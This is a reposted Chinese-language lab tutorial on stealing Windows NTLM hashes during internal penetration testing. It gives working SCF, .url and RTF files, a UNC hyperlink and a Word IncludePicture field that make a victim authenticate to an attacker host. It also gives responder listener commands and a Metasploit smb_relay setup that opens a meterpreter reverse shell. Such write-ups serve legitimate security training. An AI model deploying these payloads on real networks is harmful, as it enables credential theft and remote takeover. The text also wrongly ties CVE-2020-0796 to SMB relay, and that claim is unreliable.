實戰|內網滲透 hash 竊取技巧

前言

在內網滲透的過程中,最重要的就是信息蒐集,但是在極端情況下我們找不到能夠橫或者跨域的機器,那麼這時候我們就可以嘗試做一個水坑,來嘗試獲取 hash。當然這只是理想情況,在愈發強調對抗的當下,利用水坑釣魚也變得不是那麼簡單。

本地認證

既然是獲取 hash 就需要一些基礎知識,這裏首先說以下本地認證。在 Windows 中,密碼 Hash 稱之爲 NTLM Hash,這個 NTLM 是一種網絡認證協議,與 NTLM Hash 的關係就是:NTLM 網絡認證協議是以 NTLM Hash 作爲根本憑證進行認證的協議。在本地認證的過程中,其實就是將用戶輸入的密碼轉換爲 NTLM Hash 與 SAM 中的 NTLM Hash 進行比較

假設我的密碼是 admin,那麼操作系統會將 admin 轉換爲十六進制,經過 Unicode 轉換後,再調用 MD4 加密算法加密,這個加密結果的十六進制就是 NTLM Hash

admin -> hex(16進制編碼) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

本地認證中主要可以概括爲以下三步:winlogon.exe -> 接收用戶輸入 -> lsass.exe -> (認證)

首先,用戶註銷、重啓、鎖屏後,操作系統會讓 winlogon 顯示登錄界面,也就是輸入框,接收輸入後,將密碼交給 lsass 進程,這個進程中會存一份明文密碼,將明文密碼加密成 NTLM Hash,對 SAM 數據庫比較認證。

SCF 文件

首先簡單的說一下什麼是 scf 文件

Microsoft Windows 是使用 Windows Explorer Command 文件的主要軟件程序,該文件最初由 Microsoft Corporation 開發。網站訪問者分析表明,SCF 文件通常在 Windows 10 用戶計算機上找到,在 United States 中最受歡迎。統計上,這些用戶很可能正在運行 Google Chrome internet 瀏覽器。

其實是 UNC 路徑

UNC,即 Universal Naming Convention,意爲通用命名規則。UNC 路徑就是類似 \ softer 這樣的形式的網絡路徑,unc 共享就是指網絡硬盤的共享:

當訪問 softer 計算機中名爲 it168 的共享文件夾,用 UNC 表示就是 \ softer\it168;如果是 softer 計算機的默認管理共享 C$ 則用 \ softer\c$ 來表示。

可以使用 SCF 文件執行有限的一組操作(例如顯示 Windows 桌面或打開 Windows 資源管理器)。但是,如果使用 SCF 文件訪問特定的 UNC 路徑,那麼我們可以發起攻擊

這裏簡單介紹下環境

攻擊機 kali:192.168.10.11

靶機 win7:192.168.10.15

首先生成一個 SCF 文件

[Shell]
Command=2
IconFile=\\192.168.10.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

然後將這個 scf 文件設置爲共享狀態

然後使用 kali 上的responder進行監聽操作

responder -I eth0

這裏簡單說一下responder,Responder 是監聽 LLMNR 和 NetBIOS 協議的工具之一,能夠抓取網絡中所有的 LLMNR 和 NetBIOS 請求並進行響應,獲取最初的賬戶憑證。

Responder 會利用內置 SMB 認證服務器、MSSQL 認證服務器、HTTP 認證服務器、HTTPS 認證服務器、LDAP 認證服務器,DNS 服務器、WPAD 代理服務器,以及 FTP、POP3、IMAP、SMTP 等服務器,收集目標網絡中的明文憑據,還可以通過 Multi-Relay 功能在目標系統中執行命令。

當目標機器只要訪問這個 scf 文件之後我們就可以拿到它的 NTLM hash,注意這裏不需要點擊也可以得到,只需要能夠訪問即可

當用戶瀏覽共享時,將自動從他的系統建立到 SCF 文件中包含的 UNC 路徑的連接。Windows 將嘗試使用用戶名和密碼對共享進行身份驗證。在該身份驗證過程中,服務器會向客戶端發送一個隨機的 8 字節質詢密鑰,並使用此質詢密鑰再次加密散列的 NTLM/ LANMAN 密碼, 我們將捕獲 NTLMv2 哈希。

smb 中繼

直接使用 SCF 進行攻擊的一個好處就是不需要跟任何用戶進行交互並且能夠使用戶強制進行 NTLMv2 hash 進行協商。這裏也可以跟 smb 中繼技術相結合,得到一個 meterpreter

使用 smb 中繼有一個比較有名的漏洞就是 CVE-2020-0796,要想了解 smb 中繼首先需要知道 NTLM v2 的認證流程

  1. 客戶端向服務器發送登錄請求,密碼在客戶端被 hash 一次 2. 客戶端向服務器發送 username 3. 服務器返回一個 16 字節的挑戰碼(Challenge),並將已存儲的用戶密碼 hash 加密這個 Challenge,生成 Challenge1 4. 客戶端將第一步 hash 的密碼與 Challenge 再進行 hash 一次,生成 response 即 Challenge2 5. 客戶端將 response 發送給服務器 6. 服務器比較 Challenge1 和 response,相同則認證成功

這裏瞭解了 NTLM 的認證原理,那麼 smb 中繼就簡單了,這裏攻擊者加在了中間,不斷的截獲流量並重放流量

使用 exploit/windows/smb/smb_relay 進行監聽,同上操作即可拿到一個 meterpreter

use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
run

使用超鏈接

這裏使用超鏈接竊取 hash 的原理跟 LLMNR 欺騙有類似之處,都是訪問一個不存在的路徑 / 程序,從而達到在本地子網發送請求的效果。這裏就不擴展說 LLMNR 欺騙了,有興趣的小夥伴可自行搜索

生成一個超鏈接,編輯超鏈接指向 kali,注意這個 qwe.exe 在 kali 上是不存在的

\\192.168.10.11\qwe.exe

開啓監聽

responder -I eth0

當靶機打開這個超鏈接之後我們就能得到 hash 值

使用 url

原理跟使用超鏈接類似,讓靶機去訪問IconFile=\\192.168.10.11\qwe.icon,即一個不存在的文件

生成一個test1.url,內容如下

c:\link.url@victim
[InternetShortcut]
URL=whatever                        //url內容
WorkingDirectory=whatever            //url名稱
IconFile=\\192.168.10.11\qwe.icon
IconIndex=1

使用 responder 進行監聽

responder -I eth0

注意這裏如果使用 url 的話會有點明顯,會有一個 uac 界面的提醒,會增加被發現的可能

這裏假裝受害者比較笨點了這個 url 如下圖所示

就會得到靶機的 ntlm hash

使用 RTF

何爲 rtf?

**** 富文本格式 **(Rich Text Format)即 **RTF 格式 **,又稱 * 多文本格式 *,是由微軟公司開發的跨平臺文檔格式。大多數的文字處理軟件都能讀取和保存 RTF 文檔。

富文本格式 (RTF) 是一種方便於不同的設備、系統查看的文本和圖形文檔格式。

rtf 文件的創建主要是爲了方便在不同操作系統下創建的文件能夠在多個操作系統之間進行傳輸和查看

生成一個test2.rtf,內容如下所示

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.11/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

這裏出了點問題,好像是因爲我是 win7 沒有裝 word,所以 rtf 文件格式顯示不出來,這裏如果使用 word 打開是能夠抓到 hash 的,這裏就不演示了

沒有抓到 hash...

通過 IncludePicture

何爲 IncludePicture?IncludePicture 就相當於一個 windows 爲了方便插入多個圖片而設計的一個功能

這裏使用 ctfl + F9 可以得到一個{ includePicture },我們在後面加上一個不存在的地址,組合起來就爲{ includePicture "\\192.168.10.11\test.jpg"}

保存爲一個 xml 文件

上傳到靶機啓動即可竊取 hash

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/zsye6NVkwSnSh2qbYCLSBQ